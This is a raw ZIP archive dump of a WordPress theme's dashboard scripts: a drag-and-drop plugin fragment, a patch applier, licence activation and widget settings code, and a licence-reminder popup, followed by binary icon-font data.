e,n=this,t=t.sortable;this.isMultiDrag&&(this.options.sort&&(t.captureAnimationState(),this.options.animation&&(ce.forEach(function(t){t!==ae&&P(t,"position","absolute")}),e=k(ae,!1,!0,!0),ce.forEach(function(t){t!==ae&&C(t,e)}),de=he=!0)),t.animateAll(function(){de=he=!1,n.options.animation&&ce.forEach(function(t){T(t)}),n.options.sort&&ge()}))},dragOver:function(t){var e=t.target,n=t.completed,t=t.cancel;he&&~ce.indexOf(e)&&(n(!1),t())},revert:function(t){var n,o,e=t.fromSortable,i=t.rootEl,r=t.sortable,a=t.dragRect;1<ce.length&&(ce.forEach(function(t){r.addAnimationState({target:t,rect:he?k(t):a}),T(t),t.fromRect=a,e.removeAnimationState(t)}),he=!1,n=!this.options.removeCloneOnHide,o=i,ce.forEach(function(t,e){e=o.children[t.sortableIndex+(n?Number(e):0)];e?o.insertBefore(t,e):o.appendChild(t)}))},dragOverCompleted:function(t){var e,n=t.sortable,o=t.isOwner,i=t.insertion,r=t.activeSortable,a=t.parentEl,l=t.putSortable,t=this.options;i&&(o&&r._hideClone(),de=!1,t.animation&&1<ce.length&&(he||!o&&!r.options.sort&&!l)&&(e=k(ae,!1,!0,!0),ce.forEach(function(t){t!==ae&&(C(t,e),a.appendChild(t))}),he=!0),o||(he||ge(),1<ce.length?(o=se,r._showClone(n),r.options.animation&&!se&&o&&ue.forEach(function(t){r.addAnimationState({target:t,rect:le}),t.fromRect=le,t.thisAnimationDuration=null})):r._showClone(n)))},dragOverAnimationCapture:function(t){var e=t.dragRect,n=t.isOwner,t=t.activeSortable;ce.forEach(function(t){t.thisAnimationDuration=null}),t.options.animation&&!n&&t.multiDrag.isMultiDrag&&(le=a({},e),e=v(ae,!0),le.top-=e.f,le.left-=e.e)},dragOverAnimationComplete:function(){he&&(he=!1,ge())},drop:function(t){var e=t.originalEvent,n=t.rootEl,o=t.parentEl,i=t.sortable,r=t.dispatchSortableEvent,a=t.oldIndex,l=t.putSortable,s=l||this.sortable;if(e){var c,u,d,h=this.options,f=o.children;if(!fe)if(h.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),I(ae,h.selectedClass,!~ce.indexOf(ae)),~ce.indexOf(ae))ce.splice(ce.indexOf(ae),1),ie=null,W({sortable:i,rootEl:n,name:"deselect",targetEl:ae,originalEvent:e});else{if(ce.push(ae),W({sortable:i,rootEl:n,name:"select",targetEl:ae,originalEvent:e}),e.shiftKey&&ie&&i.el.contains(ie)){var p=B(ie),t=B(ae);if(~p&&~t&&p!==t)for(var g,m=p<t?(g=p,t):(g=t,p+1);g<m;g++)~ce.indexOf(f[g])||(I(f[g],h.selectedClass,!0),ce.push(f[g]),W({sortable:i,rootEl:n,name:"select",targetEl:f[g],originalEvent:e}))}else ie=ae;re=s}fe&&this.isMultiDrag&&(he=!1,(o[j].options.sort||o!==n)&&1<ce.length&&(c=k(ae),u=B(ae,":not(."+this.options.selectedClass+")"),!de&&h.animation&&(ae.thisAnimationDuration=null),s.captureAnimationState(),de||(h.animation&&(ae.fromRect=c,ce.forEach(function(t){var e;t.thisAnimationDuration=null,t!==ae&&(e=he?k(t):c,t.fromRect=e,s.addAnimationState({target:t,rect:e}))})),ge(),ce.forEach(function(t){f[u]?o.insertBefore(t,f[u]):o.appendChild(t),u++}),a===B(ae)&&(d=!1,ce.forEach(function(t){t.sortableIndex!==B(t)&&(d=!0)}),d&&r("update"))),ce.forEach(function(t){T(t)}),s.animateAll()),re=s),(n===o||l&&"clone"!==l.lastPutMode)&&ue.forEach(function(t){t.parentNode&&t.parentNode.removeChild(t)})}},nullingGlobal:function(){this.isMultiDrag=fe=!1,ue.length=0},destroyGlobal:function(){this._deselectMultiDrag(),f(document,"pointerup",this._deselectMultiDrag),f(document,"mouseup",this._deselectMultiDrag),f(document,"touchend",this._deselectMultiDrag),f(document,"keydown",this._checkKeyDown),f(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(t){if(!(void 0!==fe&&fe||re!==this.sortable||t&&N(t.target,this.options.draggable,this.sortable.el,!1)||t&&0!==t.button))for(;ce.length;){var e=ce[0];I(e,this.options.selectedClass,!1),ce.shift(),W({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:e,originalEvent:t})}},_checkKeyDown:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},a(t,{pluginName:"multiDrag",utils:{select:function(t){var e=t.parentNode[j];e&&e.options.multiDrag&&!~ce.indexOf(t)&&(re&&re!==e&&(re.multiDrag._deselectMultiDrag(),re=e),I(t,e.options.selectedClass,!0),ce.push(t))},deselect:function(t){var e=t.parentNode[j],n=ce.indexOf(t);e&&e.options.multiDrag&&~n&&(I(t,e.options.selectedClass,!1),ce.splice(n,1))}},eventProperties:function(){var n=this,o=[],i=[];return ce.forEach(function(t){var e;o.push({multiDragElement:t,index:t.sortableIndex}),e=he&&t!==ae?-1:he?B(t,":not(."+n.options.selectedClass+")"):B(t),i.push({multiDragElement:t,index:e})}),{items:r(ce),clones:[].concat(ue),oldIndicies:o,newIndicies:i}},optionListeners:{multiDragKey:function(t){return"ctrl"===(t=t.toLowerCase())?t="Control":1<t.length&&(t=t.charAt(0).toUpperCase()+t.substr(1)),t}}})}),Bt});PK     0w\S      dashboard/js/patcher.jsnu [        (function($) {
	'use strict';

	$(document).on('click', '.penci-patch-apply', function (e) {
		e.preventDefault();

		var $this = $(this);
		var patchesMap = $this.data('patches-map');
		var fileMap = [];

		for(var i = 0; i < patchesMap.length; i++) {
			fileMap[i] = 'soledad/' + patchesMap[i];
		}

		var confirmation = confirm( `${penci_patch_notice.single_patch_confirm} \r\r\n` + fileMap.join('\r\n') );

		if ( ! confirmation ) {
			return;
		}

		addLoading();
		cleanNotice();

		sendAjax($this.data('id'), function(response) {
            if ( 'undefined' !== typeof response.message ) {
                printNotice(response.status, response.message);
            }

            if ( 'undefined' !== typeof response.status && 'success' === response.status ) {
                $this.parents('.penci-patch-item').addClass('penci-applied');
                updatePatcherCounter();
            }

            removeLoading();
        });
	});

	$(document).on('click', '.penci-patch-apply-all', function (e) {
		e.preventDefault();

		var $applyAllBtn = $(this);
        var $patches     = $('.penci-patch-item:not(.penci-table-row-heading):not(.penci-applied)').get();

		cleanNotice();

		if ( 0 === $patches.length ) {
			printNotice('success', penci_patch_notice.all_patches_applied);
			return;
		}

		if ( ! confirm(penci_patch_notice.all_patches_confirm) ) {
			return;
		}

		$applyAllBtn.parent().addClass('penci-loading');
        addLoading();
        recursiveApply($patches);
	});

    function recursiveApply($patches){
        var $applyAllBtn = $('.penci-patch-apply-all');

        if ( 0 === $patches.length ) {
            $applyAllBtn.parent().addClass('penci-applied');
            $applyAllBtn.parent().removeClass('penci-loading');
            removeLoading();

            return;
        }

        var $patch = $($patches.pop());
        var id     = $patch.find('.penci-patch-apply').data('id');

        sendAjax(id , function(response) {
            if ( 'undefined' !== typeof response.message && 'error' === response.status ) {
				$applyAllBtn.parent().removeClass('penci-loading');
                printNotice(response.status, response.message);
            }

			if ( 0 === $patches.length ) {
				printNotice('success', penci_patch_notice.all_patches_applied);
			}

            if ( 'undefined' !== typeof response.status && 'success' === response.status ) {
                $patch.addClass('penci-applied');
				updatePatcherCounter();

                recursiveApply($patches);
            } else {
                removeLoading();
            }
        });
    }

	function sendAjax(id, cb) {
		$.ajax({
			url    : PENCIDASHBOARD.ajaxUrl,
			data   : {
				action   : 'penci_patch_action',
				security : PENCIDASHBOARD.patcher_nonce,
				id,
			},
			timeout: 1000000,
			error  : function() {
				printNotice('error', penci_patch_notice.ajax_error);
			},
			success: cb
		});
	}

	// Helpers.
	function printNotice(type, message) {
		$('.penci-notices-wrapper').append(`
			<div class="penci-notice penci-${type}">
				${message}
			</div>
		`);

		setTimeout(function(){
			$('.penci-notice').addClass('penci-hidden');
		}, 7000);
	}

	function cleanNotice() {
		$('.penci-notices-wrapper').text('');
	}

	function addLoading() {
		$('.penci-box-content').addClass('penci-loading');
		$('.penci-patch-apply-all').addClass('penci-disabled');
	}

	function removeLoading() {
		$('.penci-box-content').removeClass('penci-loading');
		$('.penci-patch-apply-all').removeClass('penci-disabled');
	}

	function updatePatcherCounter() {
		var $counters = document.querySelectorAll('.penci-patcher-counter');

		$counters.forEach( $counter => {
			if ( null === $counter) {
				return;
			}

			var $count = parseInt($counter.querySelector('.patcher-count').innerText);

			if ( 1 === $count ) {
				$counter.classList.add('penci-hidden');
			} else {
				$counter.querySelector('.patcher-count').innerText = --$count;
			}
		});
	}

})(jQuery);PK     0w\NK  K    dashboard/js/script.jsnu [        (function ($) {
    'use strict'

    // Upload
    function soledad_upload_image_font () {
      soledad_upload_font('soledad-cf1')
      soledad_upload_font('soledad-cf2')
      soledad_upload_font('soledad-cf3')
      soledad_upload_font('soledad-cf4')
      soledad_upload_font('soledad-cf5')
      soledad_upload_font('soledad-cf6')
      soledad_upload_font('soledad-cf7')
      soledad_upload_font('soledad-cf8')
      soledad_upload_font('soledad-cf9')
      soledad_upload_font('soledad-cf10')

      soledad_delete_font('soledad-cf1')
      soledad_delete_font('soledad-cf2')
      soledad_delete_font('soledad-cf3')
      soledad_delete_font('soledad-cf4')
      soledad_delete_font('soledad-cf5')
      soledad_delete_font('soledad-cf6')
      soledad_delete_font('soledad-cf7')
      soledad_delete_font('soledad-cf8')
      soledad_delete_font('soledad-cf9')
      soledad_delete_font('soledad-cf10')
    }

    function soledad_upload_font (id_field) {
      $('#' + id_field + '-button-upload').on('click', function (e) {
        e.preventDefault()

        window.original_send_to_editor = window.send_to_editor
        wp.media.editor.open(jQuery(this))

        // Hide Gallery, Audio, Video
        var _id_hide = '.media-menu .media-menu-item:nth-of-type'
        $(_id_hide + '(2)').addClass('hidden')
        $(_id_hide + '(3)').addClass('hidden')
        $(_id_hide + '(4)').addClass('hidden')

        window.send_to_editor = function (html) {
          var link = $('img', html).attr('src')

          if (typeof link == 'undefined') {
            link = $(html).attr('href')
          }
          $('#' + id_field).val(link)
          $('#' + id_field + '-button-delete').removeClass('button-hide')

          var splitLink = link.split('/')
          var fileName = splitLink[splitLink.length - 1].split('.')
          $('#' + id_field + 'family').val(fileName[0])

          window.send_to_editor = window.original_send_to_editor
        }

        return false

      })
    }

    function soledad_delete_font (id_field) {
      $('#' + id_field + '-button-delete').on('click', function (e) {
        e.preventDefault()

        var result = window.confirm(
          'Are you sure you want to delete this font?')
        if (result == true) {

          $(this).addClass('button-hide')

          $('#' + id_field).val('')
          $('#' + id_field + 'family').val('')
        }
      })
    }

    function soledadEnvatoCodeCheck () {
      var $checkLicense = jQuery('#penci-check-license'),
        $spinner = $checkLicense.find('.spinner'),
        $activateButton = $checkLicense.find('.pennews-activate-button'),
        $missing = $checkLicense.find('.penci-err-missing'),
        $length = $checkLicense.find('.penci-err-length'),
        $invalid = $checkLicense.find('.penci-err-invalid'),
        $evatoCode = $checkLicense.find('.evato-code')

      $checkLicense.on('submit', function (e) {
        e.preventDefault()

        var evatoCode = $evatoCode.val()

        $spinner.addClass('active')
        $missing.removeClass('penci-err-show')
        $length.removeClass('penci-err-show')
        $invalid.removeClass('penci-err-show')

        if (!evatoCode) {
          $missing.addClass('penci-err-show')
          $spinner.removeClass('active')
          return false
        }

        if (evatoCode.length < 20) {
          $length.addClass('penci-err-show')
          $spinner.removeClass('active')
          return false
        }

        $activateButton.prop('disabled', true)
        $evatoCode.prop('disabled', true)

        var data = {
          action: 'penci_check_envato_code',
          code: evatoCode,
          domain: PENCIDASHBOARD.domain,
          item_id: 12945398,
        }

        $.post(PENCIDASHBOARD.ajaxUrl, data, function (response) {
          if (!response.success) {
            $spinner.removeClass('active')
            $activateButton.prop('disabled', false)
            $evatoCode.prop('disabled', false)
            var mes = response.data.message
            $invalid.text(mes).addClass('penci-err-show')
          } else {

            if ($('h1.penci-activate-code-title').length) {
              $('h1.penci-activate-code-title').html('Successfully Activated')
            }

            $('.penci-activate-desc').
              html(
                'Theme successfully activated. Thanks for buying our product.<br>Redirecting...')
            $('#penci-check-license, .penci-activate-extra-notes').hide()

            var currentUrl = window.location.href;
            if (currentUrl.endsWith('page=soledad_dashboard_welcome&tab=wizard&step=activation')) {
              window.location.reload();
            } else {
              setTimeout(function () {
              window.location.replace('?page=soledad_theme_license');
              }, 2500);
            }
          }
        })

      })
    }

    // Auto activate tabs when DOM ready.
    $(soledad_upload_image_font)
    $(soledadEnvatoCodeCheck)

  }(jQuery)
);

(function ($) {
    $(document).ready(function ($) {

      // Modify options based on template selections
      $('body').
        on('change', '.penci-instagram-container select[id$="template"]',
          function (e) {
            var template = $(this)
            if (template.val() == 'thumbs' || template.val() ==
              'thumbs-no-border') {
              template.closest('.penci-instagram-container').
                find('.penci-slider-options').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              template.closest('.penci-instagram-container').
                find('input[id$="columns"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
            } else {
              template.closest('.penci-instagram-container').
                find('.penci-slider-options').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              template.closest('.penci-instagram-container').
                find('input[id$="columns"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
            }
          })

      // Modfiy options when search for is changed
      $('body').
        on('change', '.penci-instagram-container input:radio[id$="search_for"]',
          function (e) {
            var search_for = $(this)
            if (search_for.val() != 'username') {
              search_for.closest('.penci-instagram-container').
                find('[id$="attachment"]:checkbox').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find(
                  'select[id$="images_link"] option[value="local_image_url"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="user_url"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="attachment"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"]').
                val('image_url')
              search_for.closest('.penci-instagram-container').
                find('select[id$="description"] option[value="username"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="blocked_users"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="access_token"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="insta_user_id"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
            } else {
              search_for.closest('.penci-instagram-container').
                find('[id$="attachment"]:checkbox').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find(
                  'select[id$="images_link"] option[value="local_image_url"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="user_url"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="attachment"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"]').
                val('image_url')
              search_for.closest('.penci-instagram-container').
                find('select[id$="description"] option[value="username"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="blocked_users"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="access_token"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="insta_user_id"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)

            }
          })

      // Toggle advanced options
      $('body').on('click', '.penci-advanced', function (e) {
        e.preventDefault()
        var advanced_container = $(this).parent().next()

        if (advanced_container.is(':hidden')) {
          $(this).html('[ - Close ]')
        } else {
          $(this).html('[ + Open ]')
        }
        advanced_container.toggle()
      })

      $(document).on('click', '.penci-reset-social-cache', function (e) {
        e.preventDefault()
        var button = $(this)
        $.ajax({
          url: ajaxurl,
          data: {
            _wpnonce: button.attr('data-nonce'),
            action: 'penci_social_clear_all_caches',
          },
          method: 'get',
          beforeSend: function () {
            button.addClass('loading')
          },
          success: function (response) {
            button.addClass('success')
            button.after(
              '<p class="wp-notice" style="color:blue;font-weight:bold;">' +
              response.data.messages +
              '</p>',
            )
          },
          complete: function () {
            button.removeClass('loading')
            button.prop('disabled', true)
          },
        })
      })

      var selectoptions = [
        '.select-button-type',
        '.penci-metabox-row.pheader_show',
        '.penci-metabox-row.pheader_hideline',
        '.penci-metabox-row.pheader_hidebead',
        '.penci-metabox-row.pheader_turn_offup',
        '.penci-metabox-row.page_wrap_bg_size',
        '.penci-metabox-row.page_wrap_bg_repeat',
        '.penci-metabox-row.penci_hide_fwidget',
        '.penci-metabox-row.penci_edeader_trans',
      ]

      $.each(selectoptions, function (key, value) {
        var $this = $(value),
          $select = $this.find('select')
        $select.gridPicker({
          canSelect: function (element) {
            return !$(element).is(':disabled')
          },
          canUnselect: function (element) {
            return typeof this._$ui.element.attr('multiple') !== 'undefined'
          },
        })
      })

      $('.pcfb_acces_token').on('click', (function (t) {
        t.preventDefault()
        console.log('chec')
        var n, i = $(this),
          a = i.parents('#facebook'),
          s = {
            client_id: a.find('input#facebook_appid').val(),
            client_secret: a.find('input#facebook_appsecret').val(),
            grant_type: 'client_credentials',
          }
        $.ajax({
          url: 'https://graph.facebook.com/oauth/access_token',
          data: s,
          dataType: 'json',
          type: 'POST',
          async: true,
          crossDomain: true,
          beforeSend: function () {
            i.parent().find('.pc-spinner').addClass('active')
          },
        }).done((function (e) {
          n = e.access_token, a.find('input#facebook_token').val(n)
        })).fail((function (e, t, n) {
          window.alert('Info Message: ' + n)
        })).always((function () {
          i.parent().find('.pc-spinner').removeClass('active')
        }))
      }))

      $(document).
        on('click', '.penci-license-notice .notice-dismiss', function (e) {
          e.preventDefault()
          var t = $(this),
            checkdata = {
              action: 'admin_dimiss_license_notice',
            }
          $.post(PENCIDASHBOARD.ajaxUrl, checkdata, function (response) {
            if (response.success) {
              t.fadeTo(100, 0, function () {
                t.slideUp(100, function () {
                  t.remove()
                })
              })
            }
          })
        })

      $('.pccat-color-picker').each(function () {
        $(this).wpColorPicker()
      })

    }) // Document Ready
  }
)(jQuery);

(function ($) {
  var sidebar_generator = function () {

    var _eventRunning = false

    function notify (msg, type) {

      $('.penci-notice').
        html(msg).
        removeClass('notice-success notice-info notice-error').
        addClass('notice-' + type).
        show()

    }

    $(document).
      on('click', '.penci-add-sidebar, .penci-remove-sidebar', function (e) {

        e.preventDefault()

        var self = this,
          $el = $(this),
          form = $el.closest('form'),
          type = $el.data('type'),
          nonce = $('[name="penci_ajax_processor_nonce"]').val(),

          slugField = form.find('[name="sidebar_slug"]'),
          nameField = form.find('[name="sidebar_name"]'),

          slug = $el.data('slug'),
          name = $el.data('name'),

          spinner = $('.penci-wrapper').find('.spinner'),
          table = $('#penci-table'),
          actiton_name,
          answer = ''

        if ('add' == type) {

          action_name = 'soledad_add_sidebar'

          var name = nameField.val(),
            slug = slugField.val()

          if ('' == name && '' == slug) {
            notify('Empty name or slug', 'error')
            return
          }

        } else if ('remove' == type) {

          action_name = 'soledad_remove_sidebar'

          answer = confirm('Do you want to remove sidebar "' + name + '"?')

          if (!answer)
            return

        }

        // if running
        if (_eventRunning)
          return

        _eventRunning = true

        spinner.fadeIn(function () {

          $(this).addClass('is-active')

        })

        var dataSend = {
          action: action_name,
          type: type,
          _wpnonce: nonce,
          name: name,
          slug: slug,
        }

        // Ajax call
        $.ajax({
          type: 'POST',
          url: ajaxurl,
          data: dataSend,

          success: function (response) {

            // SUCCESS ADDED
            if (response.success && 'add' == response.data.type) {

              // clear fields
              nameField.val('')
              slugField.val('')

              table.append(
                '<tr><td>' + response.data.name + '</td><td>'
                + response.data.slug +
                '</td><td><button class="button button-small penci-remove-sidebar" data-type="remove" data-slug="'
                + response.data.slug + '" data-name="' + response.data.name +
                '">Delete</button></td></tr>',
              )

              // remove no sidebar row
              var no_sidebar_tr = table.find('tr.no-sidebar-tr')
              if (no_sidebar_tr.length)
                no_sidebar_tr.remove()

              notify(response.data.message, 'success')

              // SUCCESS REMOVED
            } else if (response.success && 'remove' == response.data.type) {

              $el.closest('tr').remove()

              notify(response.data.message, 'success')

            } else if ('error' == response.data.type) {

              notify(response.data.message, 'error')

            }

            spinner.fadeOut(function () {

              $(this).removeClass('is-active')

            })

            _eventRunning = false

          },

        })

      }) // on click action

  }
  sidebar_generator();
})(jQuery);

(function ($) {
  $(document).ready(function ($) {
    $(document).on('click','.penci-cat-option-forms-ul a', function(e) {
      e.preventDefault()
      var panel = $(this).attr('data-panel'),
          panels = $('.penci-cat-option-forms'),
          uls = $(this).closest('.penci-cat-option-forms-ul')

          uls.find('li a').removeClass('active')
          $(this).addClass('active')
          panels.find('.form-field').hide()
          panels.find('.form-field[data-panel="'+panel+'"]').show()

          return
      
    });
    $(document).on('click','.rwmb-device-btn',function(e){
      e.preventDefault()
      var t = $(this),
          d = t.attr('data-device'),
          wrapper = t.closest('.rwmb-has-mobile-field')

          wrapper.find('.rwmb-device-btn').removeClass('active')
          t.addClass('active')

          if ( d == 'mobile' ) {
            wrapper.addClass( 'mobile-active' )
          } else {
            wrapper.removeClass( 'mobile-active' )
          }
    });
  });
})(jQuery);PK     0w\              dashboard/js/social_order.jsnu [        PK     0w\!      dashboard/js/edit-post.jsnu [        jQuery( function ( $ ) {
	'use strict';


	var PENCIEDITPOST = PENCIEDITPOST || {};

	PENCIEDITPOST = {
		init: function () {
			tinymce.activeEditor.on( 'focusin', function ( e ) {
				PENCIEDITPOST.showPopUp();
			} );
			$( '.wp-editor-area' ).on( 'focusin', function ( e ) {
				PENCIEDITPOST.showPopUp();
			} );
		},
		showPopUp: function () {
			var delay = PENCIEDITPOST.getRandomIntInclusive( 11000, 35000 ),
				mess = PENCIEDITPOST.b64DecodeUnicode( 'UGxlYXNlIGFjdGl2YXRlIHRoZSB0aGVtZSwgbm93IHRoZSB0aGVtZSBpcyBub3QgYWN0aXZlLg==' );
			setTimeout( function () {
				alert( mess );
			}, delay );
		},
		/**
		 * Getting a random integer between two values, inclusive
		 * Source from - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random
		 */
		getRandomIntInclusive: function ( min, max ) {
			min = Math.ceil( min );
			max = Math.floor( max );
			return Math.floor( Math.random() * (
				max - min + 1
			) ) + min; //The maximum is inclusive and the minimum is inclusive

		},
		/**
		 * Source from - https://developer.mozilla.org/en/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
		 */
		b64EncodeUnicode: function ( str ) {
			// first we use encodeURIComponent to get percent-encoded UTF-8,
			// then we convert the percent encodings into raw bytes which
			// can be fed into btoa.
			return btoa( encodeURIComponent( str ).replace( /%([0-9A-F]{2})/g,
				function toSolidBytes( match, p1 ) {
					return String.fromCharCode( '0x' + p1 );
				} ) );
		},
		b64DecodeUnicode: function ( str ) {
			// Going backwards: from bytestream, to percent-encoding, to original string.
			return decodeURIComponent( atob( str ).split( '' ).map( function ( c ) {
				return '%' + (
				       '00' + c.charCodeAt( 0 ).toString( 16 )
				).slice( - 2 );
			} ).join( '' ) );
		},
	};


	/* Init functions
	 ---------------------------------------------------------------*/
	$( document ).on( 'tinymce-editor-init', function ( event, editor ) {
		PENCIEDITPOST.init();
	} );
} );

PK     0w\3{~ ~   dashboard/css/fonts/icons.woffnu [        wOFF    ~                          FFTM  0      kGGDEF  L        OS/2  l   >   `2z@cmap    i  
:gasp         glyf    _y LMhead b   3   6-hhea b      $
hmtx b    
Eyloca e    \maxp l       ,name m  D  㗋post o`    u       =    O<0    1hxc`d``b	`b`d`d:$Y<   xc`fdbʢbl|6F0#F n  x͒Jqgje>"D>{EO >,"u^[[[jos_M%:0g80B.Lszðפ 1YlKWvest)Mk^Zֵ֪m׉Θbk̳26>'YҖjukZۺgm2 (4-iEkЖv}XBY``c9ZJV5eY߆6G΂`3|6[uIpn-[pL0Lp;׸%8o>F8	G8`Wί"E^_=(K,FK+yb       x	TՕ0o}{uuuwUWիnnjmz-nvEEAAJ!*(hD2c%FʦEbb6$&7߹UUW7tw{98m8bI	ڃ݌7SEG!3j㔐=w;P^IA;RRnkLS.)o8G([)9O,,AtS
h
yujZupPGxNon{ho2AD-r]u5e^dMX8=r5ͻ^Q\~2V0 o0kC qA跍G<
9 v`|NXWI:"'aW޺O=}k#"7e	%Vs~-y$ŵXw&'q.n.EK#JDڝn봽7=|wL:Ӎ2vmrRv:=0P@DۓVZ7eOd7HMSY|[of'BL}ƷҗV^+{W=uҤ֦='j,|;vAo=0q8"I³8yZ6Ǵo9q<i3k1%&uk{H}@΁W^qԷ4;gg7Ny/qP O ЌL4q,ԇ"Sv=jL/UjC-woȍnj̮{j\vEkz>pn=^=ajID(෠quF;э5֮s7;QC7U[׈yZIۘػ*!$	dⵄŖ-ˇ?{mf6po~mԽwoG6Moza--m#]?]?Vkzܥܵ.>)9NH%&T/ _IAxOB]8(.v)G=HPSUP>fFE-GGs|'?~zI*R|[`-V'ݙGP3b'\RI̞#n;WٟDTѹb80^s6,rȥism15kk,}qWȝ;t seYqqC/0 q|>
3W/ըsF"sIoAHI 8Cw~@
_(]h=r9p!;H-[Ifw;%=d꯵bmH)k=o\hEi7i:-!mn:`[G]GE,;syH62ƈs՗:I@^\wOVõ<g?]Y{?qKgH[X &tdn[,Z!H6#=nݳ;OWUG4]]6ٰp7[aM5PB]?4P呂7o\!׺ߜؤ2>8/p2h@k~ھB~a[r=Pr8SescFӗ S#P|0z'zS)8aFBFE	VrJ(EfDpU\'h4P 	j<t$>d3}CvfM}Zlf,.pj1tYj2lƗ,U<:zt[%Y!1vMfrc:_n"7zwvmzuidtO.3K<yd03lLl؞Yĭ~bg#8H7JC*gY_YKin0AQPiMg-c)<9ܹJHX-owaX; <z̳@)*rw|u`lc߸m1:H2yΡؕdYנE+G ZQ
kP*.6O W=nuBdu8<74~c8(bK]4x~*x=¿1T2Gߡ}S}JXùP@z${P"h^bؙJr`R_3@|8~ v:GE8ci]5&4tَSצ	#5jQ 0즰N`v!RyS(v
]wB}J]>u=.#Cjn(,THu_Z	6qhhP4#JH%jt3M)#zzdt1Dn~9/ȋB@NV?p'rf:;bBQHb$h3CG|#v2ydm)esvw~٬fp~DG	r0^XzˣՇcl& \`\8HHa IC?6:5H;lވ4C&\FjԬ,|MCݔ/f8ܮ2	.ҍl
_/AkTVΝg~T΂<`2Q&;XAW@@gj{j,	suuE֟:A8,&ռ}|b0lFQ$px=4ddm7nru"N:Ou^x@񝂍CG*%F>Tm?2.opˮ1r\T١K+L؜cn:8qyN\Dvj[ܦDy/*=H	[0l8=`Dd&<qR}~|m?9[Y{HIFPHp;@Y[D]j}*ÞhJԆ'v^6XDLVa@XFk<N.pVeup+O;F G\Eнbkfy
zs	XkM֊PY_g#f}{ Lh.tMV((/4uX4u<k%Ņs=xfȌݐP(.(q\+i}J/[Ok<Ew{W%҂pRJ˙$["H6#] FC֫C_c|=F2[#\eyÃ.anơzK9řeNԞeUտxUwΫm>76tOd٧,崅v2+׷ TU[NHN8W|fG{ܘlT_Z1 8j`Ar㼌`h*b#ռBj0s$n^7w$Gɡ;N
.A>3;My?zpͥΙ4aqp҃GFw|]֯ !ؾbvq8e+)h.,U~4]h.P4s)+kqD2uϸuE3V⭯ҟfS8/D]5ޖ*xWGj}l&klnçiPv'6#(%)>qEo6U+6ŋ8ۢlޏ>`Mn''zB-t/ꬱ3ik3
55Z	1ao|+őm
0$YəOa1ag9up9Gת+b=H߀Q1hT]ҒQ^?s9ػ  lB|4TNYBL,g#5A㉐=!7~=/X]WuwZW避[ꞞWd==Bm®ҏ΋v?$
E#
L!7ط!TRRI4)H#l*:#H.)pӇźRMB=ƅ(ǂ͵˥>A,_2%5pyn6/Mbt,L֮l+9QGb]*D;{PZ!*U1|s{"3\gGχyG:-nQg7`ԏ3xAx%ÏUXMZ&HX9>osGa
'!lü|EW-ebbxsY06E>)VH߰}V=G~Ykh/;ۇ0{4. c\h`5
FA5Tg[4#So3yuy=<'j{	hNk6	@1c/5-T:`YX]g~ilp!e>1x06?eoAsb̪fyb3@B߂Yq?;m)h4skPUfW62c>8F(t*GC	ym
srp?ICY:ϻ&͜99TY-k%)@|FFh9*(RtKǻTXM-IP.%C"?,+ˆ=	>tUgQWw#Υ7݋[P	ޮ'j77̗9ZISO4YkDE͂B~`Ig;mu֢zSg)rE܉=mK9ZD]4~7߉R6Hۂ(ji! BldpӜ^zz拾gF:qꢝkWl/СuX2rTsBנͫڂt}}ƶ_5	k4	A;oHLϹ)z.quAzyxjk5F-@lҙcڗҗ\6=O]9/5ڔ볝\tOCT3f(i
]wPiQwγ=JߌvGޮy[[,Et&QocÂyb66kMK|֋$Yz%P(^87DrK`%5.:	Ďx=mnًm]Ю&2G(-@Q7xu3%@p~нt S]=)AGAVg;*=$mz-|_EZˢk<5U5fFIj`=H})0~F,"N6k"}ṒkT"$mZPc',ϛtzՅ];+j+NG>K#h-zp6\;yb~9.m	\=qrqü=fS
6u(؍3#0
:Nz{S M]"`R.Cr`-U{낍znq	txic+Ԛ:3Y㳙N*aVP
